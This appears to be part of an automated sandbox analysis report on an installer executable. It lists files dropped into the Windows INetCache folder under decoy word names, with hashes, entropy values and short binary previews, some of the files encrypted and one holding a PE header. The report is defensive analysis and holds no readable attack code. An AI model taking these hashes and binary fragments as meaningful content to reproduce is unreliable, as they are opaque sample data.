SHA1:	9782D4645E4160375A51833AC7A44303309C1962
SHA-256:	2E90606228108ECB952B443EFEF59A03460A4158CA8088233E973B956E12B6B1
SHA-512:	C05659D241F356CBFD5FE0B1628CBA396710CB25E7208FDF40978F7FB596FEFA8E5F3CA15EC2C6F63C1133F23054D7FB7AA6C4C699D68DB0BA23639BDC7A6F62
Malicious:	false
Preview:	MSCF....xr......,................%..E.................$Z.J .Optimal..@........$Z.J .Scientific..T........$Z.J .Principles......D....$Z.J .Legend..<...G....$Z.J .Specialist.....a.....$Z.J .Examine..(..aL....$Z.J .Shareholders..@..at....$Z.J .Accessing.....a.....$Z.J .Appearance..<..a.....$Z.J .Delight.....a.....$Z.J .Leader..0n.FD..CK.}.\|T....G..d.]d.+D..j(..EH.hB....6..B.....p7...n...+j._.........J.!V...$<.[....:q.....Hs....}$.....7w.<.9s.3gf]nr...=d..d...U.d....t.4...5f.;..+`&....=.bS....9.O.U.[m..[... ....w..\|.I...5.U+....\|...2.<1...\|....4..V...0..Z....U..HO..P.wRV..V1.!......R!#..!}.......".!...4..?%..Th?Xl...[i..WYlk. ....._..@...J!....JQ...=I.....x..W..6..ZV....7T...J..T...6Z.}1...L..N..+..tzH.H...r...(.SZ....t(..'.....%...o...........Qy&.n..6...........u...}..\.I)P..S+0..X.}.E[edQ"}.......+.'....t>....D.U..@.>...+F....c..tQ..^E.Q.A.tQ2.K..q...1..........EZd5..Z..Y%..u.."....H[..A..WV.0.f:U.=.:+.f....OD.v..!".qFD......P.n.R.^.. S...bS!.@B.F....Y.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Colour

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.7.exe
File Type:	data
Category:	dropped
Size (bytes):	52224
Entropy (8bit):	7.996754211232989
Encrypted:	true
SSDEEP:	768:vPlUUscPCUD8UaDtYgH1miAMT57pA5IM4V0oNFGiq7kiK8WNNkD3I5RLFgv:vUcaUAU7gH1miH5S+BV5FA7DqNS3Iniv
MD5:	0884E939F7BAE0E4EDC423D48184C70B
SHA1:	FA5BA2736FD14F9478DF0832E198966B5768D5CA
SHA-256:	674EEB973CB37997BB7CAF6FD13EE43CD550AD6E7F0CEFE73071B8B6925648A9
SHA-512:	BF9265C8EC8510ABC9C9CC5F1AEFE0E426F81C6AD870883EAB3E25AFB7118B2CF438999C9A16D88377B334D4CFE072244C12AC7C8C8A679A976BC51811B886F3
Malicious:	false
Preview:	W..../...Y.y...v=....(..f8...Ge.....mBM.C...l......W(FM.K&..w3nB...=./.P.....h.J".R.$..6.4......8.../..2."D.k-..L..(Z.....2wl......!.. .>:p..>..Xx.+[[t.fN....W..^.;.?.Z.u.....\s..6.....p...g.eO$k<.I.a$I.e.M.K.a.v...Y1xX.bX...!h..9s_....C...;...........M..{. .I.H{M.>.j.qra......3.@.m.<j.X...........]I.n..r...1U............_....H.C.(.)...^...>......N..-......T.....u.. .D?.f..)u.. ........Q..!s.....v.k..li...F^c..L...i./..>..y...=XTz...h....JqB....or..So.ap }.....#!S.K.N:5....jwM...2...^I_,.8`4..vh.CQTs....j$Ml0Qo.......H.{.....t..J.IQ^_.....U.2..f".*.vz%......9t..e`C~..D.s.7.3.........dgNh..r.0.'.vP......9X....#...\|,Xe.....a..A..U..25>F.p. .I.K...\|.B...2.<..`.<HB...._...'..+,...._c.s....#..e1Q.l...y.N.i.l..~Sq..q...G.I... ..r.-DG...0\.SG.A/07s..49By.1.H9?....=..l.....E.y\59.....%d../.......M....>F}..<3.V..._?..6^..3.._{E.7..M.ga..Y...W[i...w.oZ.AQ..Q.-..@......~4.....V.........~g.{..T..GP...:.....f.4n...5....../@..e.Z...4^@.\A..9..E

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Compatible

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.7.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	7.997270417186275
Encrypted:	true
SSDEEP:	1536:h/vuTcgLARlN0kJZh+GMUOVwOB8p38aXsrxKaLQ4+jIM6TDAcMwRkoGEw:luVmlKS6k9psr+j3eDfqoGEw
MD5:	A5928C4974A876CA684E078DA16DCCF5
SHA1:	D3DA504B6EC88EDF6F23AC48BC6EF459B4A308AD
SHA-256:	13E7E37F5D88016B479BAF5006A7FD553319D01B9A9C41950D2168D274ADFEE7
SHA-512:	DA6EACED6B3C49034C8D29C6D0ED83007F88FAAD7A0C4BA164B03E668E4702DF20DE0DF97EACAC8CB65B50DDAA84A1A2BE0C857C8ECB12EF59EB27147FE5DC56
Malicious:	false
Preview:	.a..-{)IX.ypfP....../....Z.V....f.....uG..gp+.dy.c..h+..!...l..@.pg&..(P..s.....K.....9L.f.....J.eg..SM.>....c].X..P..w..i.Y....Nv.......aB.....`.?..fy)6..1;.Z$./B..L.......\M. .................H\|.Jn.vT..J/......7..G.....i.O.W....o...x..,B@!M.X...".8....R>0.=\|..G.v.....o`.jh.c.w!...YHM..Ph.^$.CT...v.7{....9..r...F...._(.'.`.Y..,.0xF....Dt.o..-An;....vo`.)]@_.c..U[.......MW....O..'....$On.......\.Nh/...?..-.d.kY]...m.....P...U?8.F>:B!......\...2.u.xu lN...e.B....ti.8....D.6..]..l.T...Z.L....O.{.A_..Sp.f!..2a.-.G.4...k.a....V.....%3....g.+...bv....h...-$.d...h.SJ.`uy.y.'.]..)O...{c...:s..G.....O5A....H.Q7....N...Rk.i..."6}.8.....U/....d.{h.#.w.n.rz..%..*.....}...........W.U..!..({J.)!............XN...[\|....\.....,s.9?>.....T..Z..,..H.......E....4<..-.\|/..............1v...>..g.,Z..yb.:D9.z..0i#.S>R._...D._...Or.E......kF...Aj..a0..].:].eh.."H........oS@,.......D.........h...J. ..%p..A.r.u.3...W...K..O....M!.&O...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Delight

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	80896
Entropy (8bit):	6.484555129642175
Encrypted:	false
SSDEEP:	1536:oPp7HE+tKA3QkvyNf7Xw2U0pkzUWBh2zGc/xv5mjKu2IwNnPEBiqXv+G/U4:oxyA3laW2UDQWf05mjccBiqXvpV
MD5:	F8C60662B9196CC548A1D93B16E14C24
SHA1:	38F06813EBA4E660398D39D1CEAD7E7E02DB40D4
SHA-256:	25A939B98DEC8C281E04E57EC9097EEEEA11CFE25EC490D8693E5A4BF954475A
SHA-512:	9B0E4035D931FE55613654DE383C42E601E1F10BE0B09F518BEE0517E376D3597637808FDB7176549F1FEDB2B83E0935898E3E8EB2A8802005FDBCE772C48404
Malicious:	false
Preview:	...t.L.P.I.....L...G.....L.........L.........L.........L.....f....L.......L.\.I.....L..G.....L.........L.........L.........L.....f....L.......L...I.....L...G.....L.........L.........L.........L.....f....L.......L...I.....L...@.....L.........L.........L.........L.....f....L.......L...I.....L..G.....L.........L.........L....... .L.....f..$.L.....(.L...I...4.L.l.G...8.L.......<.L.......@.L.......D.L.....f..H.L.....L.L...J...X.L..G...\.L.......`.L.......d.L.......h.L.....f..l.L.....p.L...J...\|.L...G.....L.........L.........L.........L.....f....L.......L.(.J.....L.2.G.....L.........L.........L.........L.....f....L.......L...I.....L.{.A.....L.........L.........L.........L.....f....L.......L...I.....L.q.A.....L.........L.........L.........L.....f....L.......L...I.....L...G.....L.........L.........L.........L.....f.. .L.....$.L...I...0.L...G...4.L.......8.L.......<.L.......@.L.....f..D.L.....H.L...J...T.L.[.G...X.L.......\.L.......`.L.......d.L.....f..h.L.....l.L...J...x.L...@...\|.L........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Examine

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	5.787757548014249
Encrypted:	false
SSDEEP:	768:zKPDvFQC7Vkr5M4INduPbOU7aI4kCD9vmPukxhSaAwuXc/meT:z8QuklMBNIimuzaAwusPT
MD5:	91791A5777C9B3455784C1B1A912E9F1
SHA1:	0629284BDF572D017D00C23BF15874A8F70D821C
SHA-256:	34E7B453350C7C17B32A14C38ECB7B33D40EB98B0EA952AF1DCDBCED2BDFCC6B
SHA-512:	E5A842FB7AD5EC3FBE0012097233BF99BDCF9BC1F223980F9B153F2540F256E945FAFEFC86608E226313018BA56F66CD97FD0AD44F008F14FD0FE896FECC43CD
Malicious:	false
Preview:	00=....f.?.j....-=.x...).?...}z..=. ....?.....0$=.H.V...?....o..=.X...a.?..;.M_8=.@.....?......5=......?.^...@'=..L$...?.../r(=.....<.?.vT.. 3=...?...?..Cg..?=.0....?W/..f.1=.`.(.J.?Dk....0=.h..#..?.@.. .6=......?..._...=...\|.D.?.&.?4j<=..'....?Q...n.&=......?.l.....=....6.?..DX.,4=.......?...-Q.2=..xb.t.?.W..E..<...l...?..7.w.,=......?l....>.=....%.?..Nl,"=..@\.r.?.?..t.8=.85.R..?.....=.L.....?..>)g..=...3U.?.....==.......?h...Xg+=..og...?.....X.=....0.?{fHn...=.<...w.?y.5s3R6=....)..?..a8..<..O4W..?4.bV.0=.....L.?.4...@.=....@..?.X...4=.T.k...?>.._..(=.......?....o.=..@.[c.?......,=.$4b..?d....O"=.lx....?#60...8=..&m.?..h".0=....l.?.n6.{.<..9[P..?.ce.zb.<..$....?.F..8."=.8..B..?0g.W..=....U..?.wB%.K.=.......?....[..?(.6N.g.=.......?...$..?V.`t...>.......?......?..2n{a.>.......?.......?....M..=.......?...H{..?.{4..r.>.......?...P..?"."....>.......?....u[.?..*....>.......?.......?G.0.._(>.......?...4wb.?..i^^?(>.......?.....0.?p3.....>.......?...@...?F....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Friend

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.7.exe
File Type:	data
Category:	dropped
Size (bytes):	54272
Entropy (8bit):	7.99696285913619
Encrypted:	true
SSDEEP:	1536:khecToQariWJgRjWC3bjqUrjA5SK/JyRSpRrT6g8h:mCSWJgNW6Hvo5SK/JESpR36V
MD5:	1F00E32A22C3EE6B6400642B19F81C4F
SHA1:	FEFE76802A9862DEF5811552181FD6DD1DA6C833
SHA-256:	8C28E2F30C68B709A000088ED293CDAF7321A1D814164E79C73803333C4F15DA
SHA-512:	7085013C15E7CE7C2AA18383E2FF4CD297E290CA60487DE05DE7347AAAF57DB0B3D085A8014684709E6A53D815431ADAE52C478DD5BACBE41FB9431DC893A6AC
Malicious:	false
Preview:	...s..w5....'....b.4...gd$P.{`..0?...A~2'..._..np.....V...d.~..,oW..4....zMOf.E..V ...8QY..@...F.......#.s...f..+...a...q.%~F..E^.>..]C.S....?....k....m....R5=.T[...W3...z:.R.H...G.........&.. ..<.Wk.[I .....^.< .M.....D...D.../A5.Z.g.%=.O8Y.....[.f.v...S..]#....0...Y..!.../..\............6...b..;mS..'0.=P...c...L..S.p....,3...l.w.f+.c...._... V\|..@....A1Q2.......f.0.E........ ..3....t.jK...B... _....z...!.#...5U:..A.6..[......+. ..^.`e..h(."...Ix...7....H\z..,4J..m!..k+..S.UU....?`......f0....Kq#.....l...qW..Q.mL...'.$.8D..Yi..u....f...aK;SYr.s..=-8$....dp...d..d.z.i1..o^;]98.a..$...D.Pb.6n....y..!z..a..?52.=...m~M.J.,..hpx\|F.M..u.........m..U..[...D=...[....c:..O........5>D..ZN....xhl.{.P.,.+...(..VS_6Ob.x......h.=a..mF`}LS./.1=O..+Wu....X.2Y.T.A.. .rj~...r.............s;.`..(..w.}..c.u.H.g.Z.B.5'l.."...V9.;.....M....!......r d..........UO..X...1..AAf.....D7t'..NHMTq.4&7...xP[.@..g.Tb.g...G.X.v.......F..+<>s.?.r{._.'....Y..:+.."..).R.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Leader

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	108544
Entropy (8bit):	6.697352590807565
Encrypted:	false
SSDEEP:	1536:+T6TvY464qvI932eOypvcLSDOSpZ+Sh+I+FrbCyI7P4Cxi8q0vQEcmFdni8yDGY:+F4qv+32eOyKODOSpQSAU4CE0Imbi8+
MD5:	38427E0B4EDFC0EB3A3E7C4CD3BF8051
SHA1:	2B543C7B53E5A173B3336E2083A27C062D0EBFEB
SHA-256:	E11F43DBEE53BFE8A2EE3ADBC7DEB4ED695A03D025579A5BC748E69E97866DA1
SHA-512:	9369F49C97FCCC2EF401530B6B922B07898F00E4C59F3AA1A23259E0423F518BD428E008416C697C5EB556E7EB2430FD63AF0FC8DEE641C96EEC7D57262A049E
Malicious:	false
Preview:	:f9.X...w.f;.P...v.f..f+E.f;E.w.f..f+E.f;E....w... ........;.w".M..;.t...A.M..f.....f.M.........u&..8................3......H.......9....u....{.....3.E..f...p....f.M..7..Et...Pt...et...pu..U...8].......Y...f...F.j-Zf;.f.M.j+^....f;.t.f;.u.f.....f.M...j0^2.f;.u....f.....f.M...f;.t.f;.......f;M.s....+......f;.d.........f;M.......f;M.s....-`........f;M.......f;.H...s....-........f;M.......f;.\|...s....-f.......f;M.......f;.\...s....-.....h...f;M...c...f;.t...s....-f....H...f;M...C...f;.L...s....-.....(...f;M...#...f;.l...s....-f........f;M.......f;.T...s....-f........f;M.......f;M.s....-.........f;M.......f;M.s....-f.......f;M.......f;M.s....-P.......f;M.......f;M.s....-.....wf;M.rvf;M.s....- ....af;M.r`f;M.s....-@....Kf;M.rJf;.x...s....-.....2f;.p...r.f;.h...s%...-......f;.`...s....-............u:f9.X...w.f;.P...v.f..f+E.f;E.w.f..f+E.f;E....w... ...........s1ku....j0...u.}.P...^....f.....f.M........E.Q...f;.......f;M.s....+......f;.d.........f;M.......f;M.s....-`........f;M.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Legend

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	918
Entropy (8bit):	3.4921432593810677
Encrypted:	false
SSDEEP:	12:9yGSG+fCtJfjEvadTfA43k66h1ICdC3v6clC1:9yGS9PvCA433C+sCNC1
MD5:	A1D8D76F2EC3D9F7574C6C3CA3BE236E
SHA1:	97F0D9FCECD6B5F3476192391CE728C31CD5AE3E
SHA-256:	1D8D218A4C5AC2AF1A076E21386F76934E31C196873D0C392DE4459B4B1BDC15
SHA-512:	D459E858C4FA2F37FE5FA07B9C0AA563DDD8D3A343F8CAD8A3B00F5F5E823A1D591A29AF76B021098CE4D3C0E47836D26C7D90DD32C0F975EF36B18665A9DC66
Malicious:	false
Preview:	encourage........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B.....................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Nominations

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.7.exe
File Type:	data
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	7.996553621665972
Encrypted:	true
SSDEEP:	1536:9dercpVE/3HIjeLrJJJEbcdo1xZR1eRFj:9IrcpV8YqZJJGHZs
MD5:	CA4D3AD1670DEA01971CCC8CE046AEA1
SHA1:	52E810A6083AE0D503A1CFBBE0C6281D3071AA47
SHA-256:	B31A00B5739791F49025BC6B9FEE2BC14DCB01FBBD3B24D9A280D85E6EFCF0FA
SHA-512:	F566CD66BA52F90E59D6EE0B84A9FA2E8D2423559058012BC0C2F737F2288AA01E6B24E722422904C80B4926B1CCC51A91B8A4C2ED29A756440E763BE39616CD
Malicious:	false
Preview:	y.B..g...j.2.c%........V."m.@O.y2.K.......>..!KCz..@ei/j..@.;%.k...[.......lp.R....x..'.v.+....W..7.S..=K..6C..+b....Q9((.~..Uj]..."..\Dnqd....4....t...E..4.\.?se..-.C.)I...?..>.-..x....k.H.....r%I.....W5.gu.........6..i..e.A....{1...l.1t..[.p;.O.g....I+[.........;[n...M......+}.c..P....FS`..Oz.......UD2P.....By.S`...a.'.Ti!E.../...O\ZL\|.......cr..U...a.....s..k.D...b.m.e.B..S..[....$.G...^..x...f:..(.9 ..<}...d.....V...E30.q..ng.VN...Yq..>.S.9'".I]..?.i1d{F.'..H.7...+.,F....(.?.0..i(.O-......o..}..X...,..X...%.........U......v.....RgG.{.<.g.....+Y...r}>?.`.._.....v.. .o0_....dz.....f..r.}].6.Hn.L..(.5.#H...?U.h...q....0..R..g....u..4.~V....e..N..R:/.G...b..tIT.../"...-2.x...VG...S.....-...!J9..f"...,`.}S.MK...:\|j...UW...e.y.{...!(.....v........+y`<..".S.bcK....,r....~h....@...A%[`Q\@...@XX..U........}..........H1....h._/........,~P.m.sNqa.&.~.n.de..>.0'..a..d.R`.zS.....6.Hb...L.@..)..0Q1.............:...G.vQ..."./{SN....@P\|#p..Y.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Nt

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.7.exe
File Type:	data
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	7.99792485336392
Encrypted:	true
SSDEEP:	1536:mkcQR7l3pYL7dSQ1xHKiIUlNU5hHXldDwiFv5VisUnhuahbG0mKTQqKE6p:tMXdPbKJfHX7wmvXisCbzKbp
MD5:	E05DAF81A9BC6A925B8059A420244F85
SHA1:	7EC2AAB716124F6F79B64DAEDDB71CF7B87654D5
SHA-256:	634BF390C93D3036948429AC2EAF51FC7BE656E1828D2728EBF1CFFD8A844D9D
SHA-512:	19201080C54949398D7098AF8557B58A4AEE6B63EA8092301E7F8CC30CC086C5D116D91A47C80A9C7A785A9BC817022EC8C66C448C462805281ED11EE7016701
Malicious:	false
Preview:	....V......6.S..".;`.......'.....rL6........]0...`Qcq...H])t.5z.5O`..=..E..0X....j....[.`.v....'...k...y..T..e.....B.z...Jl}W..1.....V...Uu\p..-..{5..O..wW~..d6. Q.........#.9>.U....o&>.B.&.%.....b.g...J5...@D._N).h..a......q.z?..A....%.2..SM...U@...QK..V.A...Z...h.{...\|...HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....Rx...C.M.'.F...h..............^..6ke.^..6ke.kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..q.$..,P..Myn.2..t.W....HR.......[X..^...&^.^..6ke.m.....`..q..5...x..2(.U.j...."e.x#.A......)..h..}.........o.]4...G.....c]..!5....?....H.RY...u%+x.d..g@....,qAC'x=.}.....2.m..m..1..\|..X{.I.....aW..e.w...v7l.pK3..sp.h.N..K.3....c.?',C.....oY.X._..n.Vn..4........jN.=.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Optimal

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	110592
Entropy (8bit):	6.571887542257857
Encrypted:	false
SSDEEP:	3072:5+AqVnBypIbv18mLthfhnueoMmOqDoioO5bLezW9FfTut/1:5mVnjphfhnvO5bLezWWt/1
MD5:	A991DED3FA5DD76D2B05BBC0D120B1AE
SHA1:	F3133ADA36CA77E677415974224085A5D5C4C868
SHA-256:	100D96F243EFAD210F414C57ED41BFD1DF6DF0097D5A87335EB57E783AEE01B8
SHA-512:	7BFDC73D6BE63D37DF6560118574F4642AD506AB59AE690411E38EAF6D12BC057F3DF682FBB14F2E108A6F16DB90683B7071A5A8D1AC13C46D80CB8B30260F5E
Malicious:	false
Preview:	SV..@.W.H..0.....P.......P.......y.....j.W.H.......3.G.u.....6...>3._.F.....^[]...U..E.VW.@..H..0....P......P.s....u......6...>3._.F.....^]...U.........$VW.=....}.....v .G..p....t....D$.;F.t..v....z....G..p....T....F..t$....G.Q.......P.6....u.......6...L$..F......>....._3.^..]...U..V.u.W3..~..v..F..H..w.....N.......Pj.Wj.j.j.j...b...u......5...>3._.F.....^]...U..V.u.W3..~..v..F..H..]w.....N.j....a...PWj.j.j.j..kb...u......Y5...>3._.F.....^]...U....SV.u..M.W.~.......]...M...E.......5...#..C........v..F..H.......E....v).F..@..E..x..u.........E..M.;H.t..p.........v..F..H......E....v..F..H.............V..J..2.U...QQ..$.u....u..u.W.q...P.........u4...C......3.M..\..._^3.[....U........d$..SVW.}.....\$..D$......w....v..G..H..........v..O..q..L$..7.......D$ ..P.a....e...G..p.........F.S...G.Q.......P.Q....u.......3...L$..F......>.3.._^3.[..]...U..V.u.3.W.~..v..F..H......V.P.J..2.s...P...k...P....u......l3...>3._.F.....^]...U..E...8.@.SVW.p.....~..u..E.P.ng.....E.....3.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Principles

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	87040
Entropy (8bit):	6.426636762937739
Encrypted:	false
SSDEEP:	1536:Q1/AD1EsdzVXnP94SGGLpRB6M28eFvMVpYhWoXElJUzdlDfFgQa8BpDzdu:QZg5PXPeiR6MKkjGWoUlJUPdgQa8Bp/k
MD5:	DBA13CBA3A6210875468277513D72F00
SHA1:	A70F51C51D4578DBA8DDD1853F7D8D89BDBA9A72
SHA-256:	D95E75DF69BC16E82A5FD2C1C0572A5BB40805FA0567A932B811B0BC5D269A84
SHA-512:	692F6749F34D657308DC21B74C5542B7E623617871976638DA25105CA6879974549E57F9FFEB9C5B6679E8C2BC4BB83C4B1155F5986637C7E3844B1B463FEEEF
Malicious:	false
Preview:	....................................................................................................................t.M.....hi'D......Y.hs'D......Y..r...hx'D......Y..\|X..h}'D......Y.Q.I...h.'D.....Y.0$M.Q.@..0$M.P.=B..h.'D.....Y...C..h.'D.....Y.....h.'D..}...Y..+O..h.'D..l...Y..!...h.'D..[...Y.45M....h.'D..E...Y.U....SVW.}.....e....E..E..w..E..E.E.E............v..G..H..z....E....v..G..H..g....E....v..O..I..T....E...v..O..I..A....E...v..O..I.......E...v..O..I.......E..O..1...?}...u..N..u..u..u..u..u..u..1........p.....u.........F.....3._..^[....U..V.u.3.W.~....p....N.j.j.P..j.j....Pj......u..........>3._.F.....^]...SV..3.Wj._.N...N(...^..^..~..^..^..^ .^$.4......f.^8.Nl.F:..^<.^@.FL.FP.FT.FX.F\.F`.Fd.....j....................F\|U............[............u......3........................l.....p.....t.....x.....\|...........................f.............................................................._......^[.U..SV..j.[.F.9F.u0...j.X;.sF3.F...W.......Q......~..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Scientific

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	6.700137077538766
Encrypted:	false
SSDEEP:	3072:ElHS3NxrHSBRtNPnj0nEoXnmowS2u5hVOoQ7t8T6pUkBJR8CThpmESN:QHS3zcNPj0nEo3tb2j6AUkB0CThp6N
MD5:	8956395D6188F090150E3C7CC61EF8F1
SHA1:	9B66234AB58BB751A94E569FE4340EED97F15491
SHA-256:	757D8775354B35180B7775539CE201B53592BAAE081D62C6EAD2B151D33902B4
SHA-512:	DE5658029BD02104F38089F9164393FAA8E0F1996817E4D8FB115DC27A73F76E00CCBBF64C327042B1C362CC411DB3745AB61A378BE92008FE0053B32498BBF7
Malicious:	false
Preview:	.....u..0...3......r.j.R....E.....s.2......7.'....F....t....t.....N.....~Z.../......VV.....S.."....~..t.....N.....TZ.................9W.\...........1.q.V._....M.......PQ........P......P.=.........p..$.........p....8.}.....~......E.u...Y.....U...M.....\|....E..C........s..h.........V....S..C......O...H...wa.$.\|zE..F......P....t..J.j..U...1...m................R..a....................@......>.t.............Q.}u...C.........Q.ku...F.....................$..zE..........P..p.I.j..6.......E.........H...K..j..k...E............pq..j..S...p........j..6.C..........Q.p....w.........m.....j....b......E.....U......K..j..u..,.......<....O..q...t.Q..K...w..G.......7.R....F....t....t.....L......X...W.......S..)..S..J....~......E.u...W.....S...M.+...%....{..}..C......3........+..V....S..C..........H...wa.$..zE..F......N....t..J.j..U.../...m............R.._................@.....>.t...........Q.s...C..............E..F........N.....s....3.RP.W......V..F.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Shareholders

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	75776
Entropy (8bit):	6.550867296337082
Encrypted:	false
SSDEEP:	1536:SFE5gOHu1CwCMIBZwneAJu7QnswIPumV3BxZxu6/sPYcSyRXzW8/uC6LdTmHwANy:RPtCZEMnVIPPBxT/sZydTmRy
MD5:	2E79F33316E3ADFB64BF92DFC6799BBD
SHA1:	E2C32F618ACDB883F2DE44A451D870C42300BF0E
SHA-256:	2DC453F6AD8079995782D57DEB8AD13D06F741C35DAF9D4B41906CF1BC721455
SHA-512:	685C801ABCB500B8713E239F427D5E10869D78B3259B33495285CF7EE9A6E78119941D6241BE885A1A095FA8900A2A276A76A70F62E950D436F78F9001FB5858
Malicious:	false
Preview:	..........D{......A.u.2......j.P.0$M..(....M...u....j.ji.0$M...............N..y0..t.Q.....~..^......u..O..c....G........].......@......]......@......}...M..U.......................Vh..........A.j.Yf9H........E.HO.}...E.u..]....}...E.t..@....M......E..E.E..x.;.......Vh..........E.E.}.M.PG.....E..E.......A.j.Yf9H...R....E.HO.}...E.u..]....}...E.t..@....M.......E..E.E...x.;...\|...Vh.....I....}..t".}..t..E.H....M.U..G.;..M........}..t..}..t..E.H....M.G.;...'...Vh..........A.j.Yf9H........E..E.}.M.PG.....E..E.......A.j.Yf9H.uz.E.HO.}...E.u..]....}...].t..[....M..6....E..E..E..x.;.......Vjh.w.E.E.}.M.PG.>....E..E...........F..I.......=......4..@.Pjr.7Vh...../Vju.*Vjt.%Vh........H.jrX............QP..Vh.....0$M..k........p.j.P.....YY..u.^.G.j.P.p....YY.w.._..v....E..V......F......9E.t&9E.......9E.t79E.t;9E.t?9E ...........j.h......j.jj.0$M.............j.h......j.h......j.h......E...d#M..P.M.N.....}......E...c#M..P.M.N.w....}.......$M....$M........$M......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\South

Download File

Process:	C:\Users\user\Desktop\installer_1.05_36.7.exe
File Type:	data
Category:	dropped
Size (bytes):	74752
Entropy (8bit):	7.9975919301082055
Encrypted:	true
SSDEEP:	1536:CJmbhrYMnaRMLjivU2jaajY2zIuV5O1y0voMAd48e/nkQ/Ijc1VsgZUNw:CHMnR6Djo2zH3Ok0gMAd4jnknjc1NUC
MD5:	67D925E40C86D579CF5E3F8AC3643271
SHA1:	678E8263A31536F38D459039C083F911F66974D6
SHA-256:	F0542A986093BFBFCD9258F3197818F3B210132722AD1F5E850A65F0B25795D1
SHA-512:	761ED52371DC4364609C514B5F4EAE1EA165D70647B83BF67637B7379B7C6E8339C4C56AD3A1EAD626F276701C595E91B93AD88912C647249448D02DCC890CEF
Malicious:	false
Preview:	........iC..~#$9....w..XXQ.f}`...._.7.pI.z..F...p.D..0...S.<.qr....m..y.cf..0S@..7.O./..}?!.4.,."...d.Kq.n...+.R0KyYW>........$o.h..]j....DJT<....O....<...,.U.'jJ.Q...Dd'....;.$Mr(.1...m?...jr.a...``.,q.H.u.@......Uj..A.{.b...7......}.'0"OGJm-....\|.D....w..dO.mD..c..j}.]!L.\|.By+...?.+......u...L..\|...5..zs...{.@..fr! ?..l..M1.._.=....>s...v... ..y..q.E=w".P+Jw..........A......Y.P........5o...o.>....S...i=...R.rF.s.4...O.9&.].+..3.....@.:........}.&....@M.B...>.......@..L.....k..]...........2.8O;.^....w..."<.h..`O....a.Y.k...L.<..pvF....}0.\.`@pX".../...`..w.....y.>..g..#..M".k...3.....~..........@0P...gHbA...#.\|..D...a:7.1._D.Mz[..I....X.IP.;i..............Y...J..Q.^.BS.)S.C..B.c1......Z..5w.w..H.[P.... ._-5b..h.kN%..n..:}.a...b;....P..{NV1s.#..k...b..Cj.../.M.....w$,..[5.U.e.t.p.....w.y....M?........>B.ry55.c"........(..U......,.I!26j$.../.q..P...+..<..a.8......l..r..R.o...uf.a..x...$....)..Q..H(.aQ..Sk.yWf5. eU...4.hc.\|...h....B#Iya

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Specialist

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	81099
Entropy (8bit):	7.000969389055923
Encrypted:	false
SSDEEP:	1536:uWyu0uZo2+9BGmdATGODv7xvTphAiPChgZ2kOE6:uWy4ZNoGmROL7F1G7ho2kOb
MD5:	FAC14843F17FCE8167EC0FB7FDB107BE
SHA1:	E6E51D0E755AF6F9E76672D403BE8778B886B60D
SHA-256:	B4D1CC56FE3B4658C84D76B0D314E86C254B23F0864AA2D25CFD94755387A437
SHA-512:	4FCD35C877477EF4A3540418AFAB06AB24D4C7A20A8AD1BB314BF97B4732374AD25D90AB4FA20E2DFE71EA15F25E6668F8972FC7B416FAFEA46E90D76D18A6F1
Malicious:	false
Preview:	................................................................................................................................................................................................................................................MSYYSM......................................}3AK......KA<................................0"8............8"0............................'".................."'......................... 